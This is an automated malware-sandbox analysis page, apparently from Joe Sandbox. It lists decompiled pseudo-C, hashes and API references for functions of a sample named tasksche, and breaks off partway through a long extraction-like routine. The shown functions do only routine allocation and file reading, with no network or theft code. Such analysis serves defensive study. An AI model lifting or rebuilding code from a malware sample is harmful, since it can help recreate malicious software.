Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: 4d3b36c18a63bf9a6cb3bb75dabf04ddc5da56a9a0870096324c8bcc010d085f
Instruction ID: e5fec55928a071c2e3d1b6f10086eb5e0cd4d8e33465c7e2028d9d916ffc9c2f
Opcode Fuzzy Hash: 4d3b36c18a63bf9a6cb3bb75dabf04ddc5da56a9a0870096324c8bcc010d085f
Instruction Fuzzy Hash: 083169725047449BE7309B20CD05BEB77D4AB80318F104A2EF9D0A33C2DBBE9548D75A

Uniqueness

Uniqueness Score: -1.00%

Function 00401822 Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401822(intOrPtr __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __ebx;
				signed int _t69;
				signed int _t70;
				intOrPtr _t71;
				intOrPtr _t81;
				intOrPtr _t92;
				void* _t93;
				intOrPtr _t96;
				void* _t98;
				void* _t103;

				_t103 = __eflags;
				_t94 = __edi;
				_t93 = __edx;
				E0041A4DC(E00429548, _t98);
				_push(__ecx);
				_t96 = __ecx;
				 *((intOrPtr*)(_t98 - 0x10)) = __ecx;
				E00408786(__ecx);
				 *((intOrPtr*)(_t98 - 4)) = 0;
				 *((intOrPtr*)(__ecx)) = 0x42a478;
				E00405F3C(__ecx + 0x1024, _t103);
				 *((char*)(_t98 - 4)) = 1;
				E0040B8E3(__ecx + 0x20e8, _t103);
				 *((intOrPtr*)(__ecx + 0x6538)) = 0;
				 *((intOrPtr*)(__ecx + 0x653c)) = 0;
				E004013DD(__ecx + 0x65e8);
				_t69 = E004013DD(__ecx + 0x8928);
				 *((char*)(_t98 - 4)) = 4;
				_t70 = _t69 & 0xffffff00 |  *((intOrPtr*)(_t98 + 8)) == 0x00000000;
				 *((intOrPtr*)(__ecx + 0x6524)) = 0;
				 *(__ecx + 0x6520) = _t70;
				_t105 = _t70;
				if(_t70 == 0) {
					_t71 =  *((intOrPtr*)(_t98 + 8));
				} else {
					_push(0x72a8); // executed
					_t81 = E0041A89A(0, _t93, __edi, _t105); // executed
					_t92 = _t81;
					 *((intOrPtr*)(_t98 + 8)) = _t92;
					 *((char*)(_t98 - 4)) = 5;
					if(_t92 == 0) {
						_t71 = 0;
					} else {
						_t71 = E0040A026(_t92, __edi); // executed
					}
				}
				 *((intOrPtr*)(_t96 + 0x6524)) = _t71;
				 *(_t96 + 0x6528) =  *(_t96 + 0x6528) | 0xffffffff;
				 *(_t96 + 0x652c) =  *(_t96 + 0x652c) | 0xffffffff;
				 *(_t96 + 0x6530) =  *(_t96 + 0x6530) | 0xffffffff;
				 *((char*)(_t96 + 0x1c)) =  *((intOrPtr*)(_t71 + 0x5195));
				 *((intOrPtr*)(_t96 + 0xb050)) = 2;
				 *((char*)(_t96 + 0xb054)) = 0;
				 *((char*)(_t96 + 0xb055)) = 0;
				 *((char*)(_t96 + 0xb056)) = 0;
				 *((char*)(_t96 + 0xb057)) = 0;
				 *((char*)(_t96 + 0xb058)) = 0;
				 *((char*)(_t96 + 0xb059)) = 0;
				 *((char*)(_t96 + 0xb05a)) = 0;
				 *((intOrPtr*)(_t96 + 0xb060)) = 0;
				 *((intOrPtr*)(_t96 + 0x6538)) = 0;
				 *((intOrPtr*)(_t96 + 0x653c)) = 0;
				 *((char*)(_t96 + 0xb05b)) = 0;
				 *((char*)(_t96 + 0xb05c)) = 0;
				 *((char*)(_t96 + 0xb065)) = 0;
				 *((char*)(_t96 + 0xb064)) = 0;
				 *((intOrPtr*)(_t96 + 0x6540)) = 0;
				 *((intOrPtr*)(_t96 + 0xb040)) = 0;
				 *((intOrPtr*)(_t96 + 0xb044)) = 0;
				 *((intOrPtr*)(_t96 + 0xb048)) = 0;
				 *((intOrPtr*)(_t96 + 0xb04c)) = 0;
				E0041A820(_t94, _t96 + 0x6570, 0, 0x40);
				E0041A820(_t94, _t96 + 0x65b0, 0, 0x34);
				E0041A820(_t94, _t96 + 0x88e8, 0, 0x20);
				 *((short*)(_t96 + 0xb09a)) = 0;
				 *((intOrPtr*)(_t96 + 0xb078)) = 0;
				 *((intOrPtr*)(_t96 + 0xb080)) = 0;
				 *((intOrPtr*)(_t96 + 0xb084)) = 0;
				 *((intOrPtr*)(_t96 + 0xb088)) = 0;
				 *((intOrPtr*)(_t96 + 0xb08c)) = 0;
				 *((intOrPtr*)(_t96 + 0xb090)) = 0;
				 *((intOrPtr*)(_t96 + 0xb094)) = 0;
				 *((char*)(_t96 + 0xb076)) = 0;
				 *((char*)(_t96 + 0xb098)) = 0;
				 *((char*)(_t96 + 0x6548)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t98 - 0xc));
				return _t96;
			}

0x00401822
0x00401822
0x00401822
0x00401827
0x0040182c
0x0040182f
0x00401831
0x00401834
0x00401841
0x00401844
0x0040184a
0x00401855
0x00401859
0x00401864
0x0040186a
0x00401870
0x0040187b
0x00401883
0x00401887
0x0040188a
0x00401890
0x00401896
0x00401898
0x004018bd
0x0040189a
0x0040189a
0x0040189f
0x004018a5
0x004018a7
0x004018aa
0x004018b0
0x004018b9
0x004018b2
0x004018b2
0x004018b2
0x004018b0
0x004018c0
0x004018cc
0x004018d3
0x004018da
0x004018e3
0x004018ee
0x004018f8
0x004018fe
0x00401904
0x0040190a
0x00401910
0x00401916
0x0040191c
0x00401922
0x00401928
0x0040192e
0x00401934
0x0040193a
0x00401940
0x00401946
0x0040194c
0x00401952
0x00401958
0x0040195e
0x00401964
0x0040196a
0x00401979
0x00401988
0x00401995
0x0040199c
0x004019a2
0x004019a8
0x004019ae
0x004019b4
0x004019ba
0x004019c0
0x004019c6
0x004019cc
0x004019d2
0x004019dc
0x004019e4

APIs

__EH_prolog.LIBCMT ref: 00401827

Part of subcall function 00405F3C: __EH_prolog.LIBCMT ref: 00405F41
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FA4
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FB0
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FCE

Part of subcall function 0040B8E3: __EH_prolog.LIBCMT ref: 0040B8E8

_memset.LIBCMT ref: 0040196A
_memset.LIBCMT ref: 00401979
_memset.LIBCMT ref: 00401988

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0040A026: __EH_prolog.LIBCMT ref: 0040A02B

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog$_malloc
String ID:
API String ID: 4233843809-0
Opcode ID: 89f10ec8c43f5c59ed1e48a3837198038f2aefdd0a2d009fb04471144bad9c18
Instruction ID: 211b101a5e2dbba32f2c8dae62910ed897794103f7d8a7f2ed724c9505602145
Opcode Fuzzy Hash: 89f10ec8c43f5c59ed1e48a3837198038f2aefdd0a2d009fb04471144bad9c18
Instruction Fuzzy Hash: 865127B1445F809EC321DF7988916D7FFE0AF29314F84496E91FE93282D7352658CB29

Uniqueness

Uniqueness Score: -1.00%

Function 00413CE8 Relevance: 6.1, APIs: 4, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00413CE8(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t34;
				signed int _t35;
				signed int* _t41;
				signed int _t42;
				signed int _t44;
				intOrPtr _t46;
				void* _t67;
				signed int _t72;
				intOrPtr* _t73;
				void* _t75;
				void* _t77;
				signed int _t81;

				_t34 = E0041A4DC(E0042980D, _t75);
				_push(__ecx);
				_push(__ecx);
				_t67 = __ecx;
				_t80 =  *((intOrPtr*)(__ecx + 0x20));
				if( *((intOrPtr*)(__ecx + 0x20)) == 0) {
					_push(0x400400); // executed
					_t46 = E0041A0EA(0, __edx, __ecx, _t80); // executed
					 *((intOrPtr*)(_t67 + 0x20)) = _t46;
					_t34 = E0041A820(_t67, _t46, 0, 0x400400);
					_t77 = _t77 + 0x10;
				}
				_t81 =  *(_t67 + 0x18);
				if(_t81 != 0) {
					L12:
					 *[fs:0x0] =  *((intOrPtr*)(_t75 - 0xc));
					return _t34;
				} else {
					_t72 =  *((intOrPtr*)(_t67 + 0x1c)) +  *((intOrPtr*)(_t67 + 0x1c));
					_t35 = _t72;
					_t65 = _t35 * 0x4ae4 >> 0x20;
					_push( ~(0 | _t81 > 0x00000000) | ( ~(0 | _t81 > 0x00000000) | _t35 * 0x00004ae4) + 0x00000004); // executed
					_t41 = E0041A0EA(0x4ae4, _t35 * 0x4ae4 >> 0x20, _t67, _t81); // executed
					 *(_t75 - 0x10) = _t41;
					 *(_t75 - 4) =  *(_t75 - 4) & 0x00000000;
					_t82 = _t41;
					if(_t41 == 0) {
						_t42 = 0;
						__eflags = 0;
					} else {
						_push(E00412B7D);
						_push(E00412B65);
						_push(_t72);
						 *_t41 = _t72;
						_t44 =  &(_t41[1]);
						_push(0x4ae4);
						_push(_t44);
						 *(_t75 - 0x14) = _t44;
						E0041C6B6(_t72, _t82);
						_t42 =  *(_t75 - 0x14);
					}
					 *(_t75 - 4) =  *(_t75 - 4) | 0xffffffff;
					 *(_t67 + 0x18) = _t42;
					_t34 = E0041A820(_t67, _t42, 0, _t72 * 0x4ae4);
					if(_t72 > 0) {
						 *(_t75 - 0x10) =  *(_t75 - 0x10) & 0x00000000;
						 *(_t75 - 0x14) = _t72;
						do {
							_t34 =  *(_t67 + 0x18) +  *(_t75 - 0x10);
							_t26 = _t34 + 0x4ad4; // 0x4ad4
							_t73 = _t26;
							if( *_t73 == 0) {
								 *((intOrPtr*)(_t34 + 0x4adc)) = 0x4100;
								_t34 = E0041CF3E(0x4ae4, _t65, _t67, 0x30c00); // executed
								 *_t73 = _t34;
								if(_t34 == 0) {
									_t34 = E004063CE(0x4335ac);
								}
							}
							 *(_t75 - 0x10) =  *(_t75 - 0x10) + 0x4ae4;
							_t30 = _t75 - 0x14;
							 *_t30 =  *(_t75 - 0x14) - 1;
						} while ( *_t30 != 0);
					}
					goto L12;
				}
			}

0x00413ced
0x00413cf2
0x00413cf3
0x00413cf7
0x00413cfb
0x00413cfe
0x00413d05
0x00413d06
0x00413d0e
0x00413d11
0x00413d16
0x00413d16
0x00413d19
0x00413d1c
0x00413dde
0x00413de4
0x00413dec
0x00413d22
0x00413d25
0x00413d2e
0x00413d32
0x00413d47
0x00413d48
0x00413d4e
0x00413d51
0x00413d55
0x00413d57
0x00413d78
0x00413d78
0x00413d59
0x00413d59
0x00413d5e
0x00413d63
0x00413d64
0x00413d66
0x00413d69
0x00413d6a
0x00413d6b
0x00413d6e
0x00413d73
0x00413d73
0x00413d7a
0x00413d8a
0x00413d8d
0x00413d97
0x00413d99
0x00413d9d
0x00413da0
0x00413da3
0x00413da6
0x00413da6
0x00413daf
0x00413db6
0x00413dc0
0x00413dc6
0x00413dca
0x00413dd1
0x00413dd1
0x00413dca
0x00413dd6
0x00413dd9
0x00413dd9
0x00413dd9
0x00413da0
0x00000000
0x00413d97

APIs

__EH_prolog.LIBCMT ref: 00413CED
_memset.LIBCMT ref: 00413D11
_memset.LIBCMT ref: 00413D8D
_malloc.LIBCMT ref: 00413DC0

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog_malloc
String ID:
API String ID: 1600808285-0
Opcode ID: f9e7b2a6a83c73fc1ba99619ebe61da21776ee40c69ad0e57b9b97bafc6a76b5
Instruction ID: 702ce421a693160a9893d7f58a622c69960126b9ff2eeb296b605b135dd4a1ff
Opcode Fuzzy Hash: f9e7b2a6a83c73fc1ba99619ebe61da21776ee40c69ad0e57b9b97bafc6a76b5
Instruction Fuzzy Hash: F831D4B1E01215ABDB14AF65D9057EB76A8FF14319F10013FE105E7281E7789E9087ED

Uniqueness

Uniqueness Score: -1.00%

Function 00408CA0 Relevance: 6.1, APIs: 4, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00408CA0(void* __ecx, void* _a4, long _a8) {
				long _v8;
				int _t14;
				signed int _t15;
				void* _t28;

				_push(__ecx);
				_t28 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
					 *(_t28 + 4) = GetStdHandle(0xfffffff6);
				}
				_t14 = ReadFile( *(_t28 + 4), _a4, _a8,  &_v8, 0); // executed
				if(_t14 != 0) {
					_t15 = _v8;
				} else {
					_t16 = E00408C5A(_t28);
					if(_t16 == 0) {
						L7:
						if( *((intOrPtr*)(_t28 + 0xc)) != 1) {
							L10:
							if( *((intOrPtr*)(_t28 + 0xc)) != 0 || _a8 <= 0x8000) {
								L14:
								_t15 = _t16 | 0xffffffff;
							} else {
								_t16 = GetLastError();
								if(_t16 != 0x21) {
									goto L14;
								} else {
									_push(0x8000);
									goto L6;
								}
							}
						} else {
							_t16 = GetLastError();
							if(_t16 != 0x6d) {
								goto L10;
							} else {
								_t15 = 0;
							}
						}
					} else {
						_t16 = 0x4e20;
						if(_a8 <= 0x4e20) {
							goto L7;
						} else {
							_push(0x4e20);
							L6:
							_push(_a4);
							_t15 = E00408CA0(_t28);
						}
					}
				}
				return _t15;
			}

0x00408ca3
0x00408ca6
0x00408cad
0x00408cb7
0x00408cb7
0x00408cc9
0x00408cd1
0x00408d2b
0x00408cd3
0x00408cd5
0x00408cdc
0x00408cf5
0x00408cff
0x00408d0c
0x00408d10
0x00408d26
0x00408d26
0x00408d1c
0x00408d1c
0x00408d21
0x00000000
0x00408d23
0x00408d23
0x00000000
0x00408d23
0x00408d21
0x00408d01
0x00408d01
0x00408d06
0x00000000
0x00408d08
0x00408d08
0x00408d08
0x00408d06
0x00408cde
0x00408cde
0x00408ce6
0x00000000
0x00408ce8
0x00408ce8
0x00408ce9
0x00408ce9
0x00408cee
0x00408cee
0x00408ce6
0x00408cdc
0x00408d32

APIs

GetStdHandle.KERNEL32(000000F6,004335AC,?,00000000,?,?,00408EB0,?,00000000,?,?,00000000), ref: 00408CB1
ReadFile.KERNELBASE(?,?,?,00000000,00000000,004335AC,?,00000000,?,?,00408EB0,?,00000000,?,?,00000000), ref: 00408CC9
GetLastError.KERNEL32(?,00408EB0,?,00000000,?,?,00000000), ref: 00408D01
GetLastError.KERNEL32(?,00408EB0,?,00000000,?,?,00000000), ref: 00408D1C

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: c1fed62a9ea2a8515d50b02984c21f09fd940ae1629289a4c1ded04f954c3d6f
Instruction ID: b149f771e66fe820b49a3db0cdc04a66bbf6f60059da98a6e892905e95da3d99
Opcode Fuzzy Hash: c1fed62a9ea2a8515d50b02984c21f09fd940ae1629289a4c1ded04f954c3d6f
Instruction Fuzzy Hash: B411A734504608EFEB205B50DA4096A37A8FF71374B10863FE996A52D1DE3DCD41DF2A

Uniqueness

Uniqueness Score: -1.00%

Function 004076AA Relevance: 6.0, APIs: 2, Strings: 1, Instructions: 792
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004076AA(intOrPtr __ecx, intOrPtr __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t349;
				signed int _t354;
				signed int _t359;
				signed int _t363;
				char _t364;
				intOrPtr _t367;
				signed int _t370;
				char _t373;
				void* _t375;
				signed int _t379;
				signed int _t380;
				intOrPtr _t383;
				char* _t386;
				signed int _t395;
				char _t398;
				intOrPtr _t399;
				intOrPtr _t407;
				signed int _t409;
				intOrPtr _t413;
				signed int _t423;
				intOrPtr _t426;
				char _t434;
				signed int _t440;
				signed int _t445;
				signed int _t446;
				signed int _t452;
				char _t456;
				intOrPtr _t459;
				intOrPtr _t462;
				signed int _t463;
				signed int _t469;
				signed int _t475;
				intOrPtr _t476;
				signed int _t479;
				signed int _t481;
				intOrPtr _t482;
				signed int _t484;
				signed int _t490;
				intOrPtr* _t500;
				char _t502;
				intOrPtr _t504;
				signed int _t510;
				signed int _t515;
				intOrPtr _t572;
				intOrPtr _t593;
				short* _t595;
				signed int _t602;
				signed int _t603;
				intOrPtr _t607;
				intOrPtr _t611;
				void* _t613;

				_t585 = __edx;
				E0041A4DC(E004296C9, _t613);
				E0041AAF0(0x5194);
				_t500 =  *((intOrPtr*)(_t613 + 8));
				_t607 = __ecx;
				_t345 =  *( *((intOrPtr*)(__ecx + 8)) + 0x72b2) & 0x0000ffff;
				 *((intOrPtr*)(_t613 - 0x24)) = __ecx;
				 *(_t613 - 0x18) =  *( *((intOrPtr*)(__ecx + 8)) + 0x72b2) & 0x0000ffff;
				if( *((intOrPtr*)(_t613 + 0xc)) != 0) {
					L5:
					_t593 =  *((intOrPtr*)(_t500 + 0x6544));
					__eflags = _t593 - 2;
					if(_t593 == 2) {
						_t504 =  *((intOrPtr*)(_t607 + 8));
						 *((char*)(_t607 + 0x545d)) = 0;
						__eflags =  *(_t504 + 0x515c);
						if( *(_t504 + 0x515c) != 0) {
							L20:
							 *((char*)(_t613 - 0x10)) = 0;
							_t349 = E0040545B(_t504, _t500 + 0x65e8, _t613 - 0x10, 5, _t613 - 0x51a0, 0x800);
							__eflags = _t349;
							 *(_t613 - 0xe) = _t349 != 0;
							__eflags =  *(_t613 - 0xe);
							if( *(_t613 - 0xe) != 0) {
								__eflags =  *((char*)(_t613 - 0x10));
								if( *((char*)(_t613 - 0x10)) == 0) {
									 *((char*)(_t607 + 0x4459)) = 0;
								}
							}
							E00401A5C(_t500);
							E0040A618(_t607, _t500 + 0x6608, _t613 - 0x2158);
							__eflags =  *((char*)(_t500 + 0x76cb));
							if( *((char*)(_t500 + 0x76cb)) == 0) {
								_t354 = E00401A55(_t500);
								__eflags = _t354;
								if(_t354 != 0) {
									L33:
									 *((char*)(_t607 + 0x21d7)) =  *((intOrPtr*)(_t500 + 0x7671));
									 *((char*)(_t607 + 0x21d8)) = 0;
									_t586 =  *((intOrPtr*)(_t500 + 0xb04c));
									asm("sbb edx, [ebx+0x7634]");
									 *((intOrPtr*)( *_t500 + 0xc))( *((intOrPtr*)(_t500 + 0xb048)) -  *(_t500 + 0x7630),  *((intOrPtr*)(_t500 + 0xb04c)), 0);
									__eflags =  *(_t613 - 0xe);
									 *((char*)(_t613 + 0xf)) = 0;
									 *((char*)(_t613 - 0x1d)) = 0;
									if( *(_t613 - 0xe) != 0) {
										L35:
										_t359 =  *((intOrPtr*)( *((intOrPtr*)(_t607 + 8)) + 0x51c1));
										__eflags = _t359;
										if(_t359 == 0) {
											L38:
											_t510 = 0;
											__eflags = 0;
											L39:
											__eflags = _t359;
											_t363 = L004116E5(_t510, _t613 - 0x2158, (_t359 & 0xffffff00 | _t359 == 0x00000000) & 0x000000ff, _t510,  *((intOrPtr*)(_t613 - 0x1d))); // executed
											__eflags = _t363;
											if(__eflags == 0) {
												L191:
												_t364 = 0;
												L15:
												L16:
												 *[fs:0x0] =  *((intOrPtr*)(_t613 - 0xc));
												return _t364;
											}
											_t595 = _t607 + 0x545e;
											E00406F23(_t607, __eflags, _t500, _t613 - 0x2158, _t595, 0x800);
											__eflags =  *((char*)(_t613 - 0x1d));
											if( *((char*)(_t613 - 0x1d)) != 0) {
												L43:
												 *((char*)(_t613 + 0xf)) = 0;
												L44:
												_t367 =  *((intOrPtr*)(_t607 + 8));
												__eflags =  *((char*)(_t367 + 0x5153));
												if( *((char*)(_t367 + 0x5153)) != 0) {
													L46:
													__eflags =  *(_t613 - 0x18) - 0x45;
													if( *(_t613 - 0x18) == 0x45) {
														L48:
														E004067E1(_t613 - 0x31a0);
														_push(0);
														_t370 = E004096BC(_t586, _t595, _t613 - 0x31a0);
														__eflags = _t370;
														if(_t370 == 0) {
															__eflags =  *((char*)( *((intOrPtr*)(_t607 + 8)) + 0x5153));
															L53:
															if(__eflags == 0) {
																L55:
																__eflags =  *((char*)(_t500 + 0x7673));
																if( *((char*)(_t500 + 0x7673)) == 0) {
																	L60:
																	_t373 = E00407650(_t500, _t613 - 0x2158);
																	__eflags = _t373;
																	if(_t373 == 0) {
																		 *((char*)(_t613 + 0xf)) = _t373;
																		E004062BA(0x4335ac, 2);
																	}
																	_t515 = 0x40;
																	_t375 = memcpy(_t613 - 0x134,  *((intOrPtr*)( *((intOrPtr*)(_t613 - 0x24)) + 8)) + 0x4024, _t515 << 2);
																	asm("movsw");
																	 *(_t613 - 4) =  *(_t613 - 4) & 0x00000000;
																	asm("sbb edx, edx");
																	_t590 =  ~( *(_t500 + 0x7678) & 0x000000ff) & _t500 + 0x00007679;
																	 *((intOrPtr*)(_t613 - 0x28)) = _t375 + 0x10;
																	E0040B883(_t375 + 0x10, 0,  *((intOrPtr*)(_t500 + 0x7674)), _t613 - 0x134,  ~( *(_t500 + 0x7678) & 0x000000ff) & _t500 + 0x00007679, _t500 + 0x7689,  *((intOrPtr*)(_t500 + 0x76c4)), _t500 + 0x76a3, _t613 - 0x30);
																	__eflags =  *((char*)(_t500 + 0x7673));
																	if( *((char*)(_t500 + 0x7673)) != 0) {
																		__eflags =  *((char*)(_t500 + 0x7699));
																		if( *((char*)(_t500 + 0x7699)) != 0) {
																			_t469 = E0041AC04(_t500 + 0x769a, _t613 - 0x30, 8);
																			__eflags = _t469;
																			if(_t469 != 0) {
																				__eflags =  *((char*)(_t500 + 0xb064));
																				if( *((char*)(_t500 + 0xb064)) == 0) {
																					E00406376(6, _t500 + 0x1e);
																					E004062BA(0x4335ac, 0xb);
																					 *((char*)(_t613 + 0xf)) = 0;
																				}
																			}
																		}
																	}
																	_t522 = _t613 - 0x1158;
																	E00408786(_t613 - 0x1158);
																	_t379 =  *(_t500 + 0x76d8);
																	__eflags = _t379;
																	 *((char*)(_t613 - 0x11)) = _t379 != 0;
																	__eflags =  *((char*)(_t613 - 0x11));
																	 *(_t613 - 4) = 1;
																	if( *((char*)(_t613 - 0x11)) == 0) {
																		L77:
																		_t522 = _t500;
																		_t380 = E00401A55(_t500);
																		__eflags = _t380;
																		if(_t380 == 0) {
																			__eflags =  *((char*)(_t613 + 0xf));
																			if( *((char*)(_t613 + 0xf)) == 0) {
																				goto L90;
																			}
																			_t611 =  *((intOrPtr*)(_t613 - 0x24));
																			_t522 = _t611; // executed
																			_t456 = E0040753D(_t611, _t500, _t613 - 0x1158); // executed
																			 *((char*)(_t613 + 0xf)) = _t456;
																			goto L88;
																		}
																		__eflags =  *((char*)(_t613 + 0xf));
																		if( *((char*)(_t613 + 0xf)) == 0) {
																			L85:
																			 *(_t613 - 4) = 0;
																			E00408C7D(_t500, _t613 - 0x1158);
																			 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																			E0040D111(_t613 - 0x134);
																			goto L14;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x50;
																		if( *(_t613 - 0x18) == 0x50) {
																			goto L85;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x49;
																		if( *(_t613 - 0x18) == 0x49) {
																			goto L85;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x45;
																		if( *(_t613 - 0x18) == 0x45) {
																			goto L85;
																		}
																		_t572 =  *((intOrPtr*)(_t613 - 0x24));
																		_t459 =  *((intOrPtr*)(_t572 + 8));
																		__eflags =  *((intOrPtr*)(_t459 + 0x5158)) - 1;
																		if( *((intOrPtr*)(_t459 + 0x5158)) == 1) {
																			goto L85;
																		}
																		_t143 = _t572 + 0x444c;
																		 *_t143 =  *(_t572 + 0x444c) + 1;
																		__eflags =  *_t143;
																		_push(_t613 - 0x2158);
																		_push(_t500);
																		E00407391(_t572);
																		_t502 = 1;
																		goto L84;
																	} else {
																		__eflags = _t379 - 5;
																		if(_t379 == 5) {
																			goto L77;
																		}
																		__eflags =  *((char*)(_t613 + 0xf));
																		if( *((char*)(_t613 + 0xf)) == 0) {
																			L90:
																			_t611 =  *((intOrPtr*)(_t613 - 0x24));
																			L91:
																			__eflags =  *((char*)(_t500 + 0xb054));
																			if( *((char*)(_t500 + 0xb054)) == 0) {
																				__eflags =  *((char*)(_t613 + 0xf));
																				if( *((char*)(_t613 + 0xf)) == 0) {
																					L184:
																					 *(_t613 - 4) = 0;
																					E00408C7D(_t500, _t613 - 0x1158);
																					 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																					E0040D111(_t613 - 0x134);
																					__eflags =  *(_t613 - 0xe);
																					if( *(_t613 - 0xe) != 0) {
																						_t333 = _t611 + 0x4454;
																						 *_t333 =  *(_t611 + 0x4454) + 1;
																						__eflags =  *_t333;
																					}
																					L186:
																					_t383 =  *((intOrPtr*)(_t613 - 0x24));
																					__eflags =  *((char*)(_t383 + 0x21d8));
																					if( *((char*)(_t383 + 0x21d8)) != 0) {
																						goto L191;
																					}
																					__eflags =  *((char*)(_t613 + 0xf));
																					if( *((char*)(_t613 + 0xf)) != 0) {
																						L14:
																						_t364 = 1;
																						goto L15;
																					}
																					__eflags =  *((char*)(_t500 + 0xb054));
																					if( *((char*)(_t500 + 0xb054)) != 0) {
																						__eflags =  *((char*)(_t613 - 0x1d));
																						if( *((char*)(_t613 - 0x1d)) != 0) {
																							goto L14;
																						}
																						goto L191;
																					}
																					L189:
																					E004010C0(_t500);
																					goto L14;
																				}
																				L95:
																				_t386 =  *((intOrPtr*)(_t611 + 8)) + 0x51c1;
																				__eflags =  *_t386;
																				if( *_t386 == 0) {
																					L97:
																					__eflags =  *((char*)(_t613 - 0x1d));
																					if( *((char*)(_t613 - 0x1d)) != 0) {
																						L125:
																						__eflags =  *((char*)(_t613 - 0x1d));
																						 *((char*)(_t613 - 0xf)) = 1;
																						if( *((char*)(_t613 - 0x1d)) != 0) {
																							L102:
																							 *((intOrPtr*)(_t611 + 0x4450)) =  *((intOrPtr*)(_t611 + 0x4450)) + 1;
																							 *((intOrPtr*)(_t611 + 0x21f8)) = 0;
																							 *((intOrPtr*)(_t611 + 0x21fc)) = 0;
																							 *((intOrPtr*)(_t611 + 0x2200)) = 0;
																							 *((intOrPtr*)(_t611 + 0x2204)) = 0;
																							E00409885(_t611 + 0x38e0,  *((intOrPtr*)(_t500 + 0x7648)),  *((intOrPtr*)( *((intOrPtr*)(_t611 + 8)) + 0x7298)));
																							E00409885(_t611 + 0x2218,  *((intOrPtr*)(_t500 + 0x7648)),  *((intOrPtr*)( *((intOrPtr*)(_t611 + 8)) + 0x7298)));
																							 *(_t611 + 0x30) =  *(_t500 + 0x7630);
																							 *(_t611 + 0x34) =  *(_t500 + 0x7634);
																							E0040B863( *((intOrPtr*)(_t613 - 0x28)), _t500, _t613 - 0x1158);
																							_t395 =  *((intOrPtr*)(_t613 - 0xf));
																							 *(_t611 + 0x39) = _t395;
																							 *((char*)(_t611 + 0x3a)) =  *((intOrPtr*)(_t613 - 0x1d));
																							__eflags = _t395;
																							if(_t395 != 0) {
																								L114:
																								_t531 =  *((intOrPtr*)(_t611 + 8));
																								 *((char*)( *((intOrPtr*)(_t611 + 8)) + 0x5194)) =  *((char*)(_t613 - 0xf));
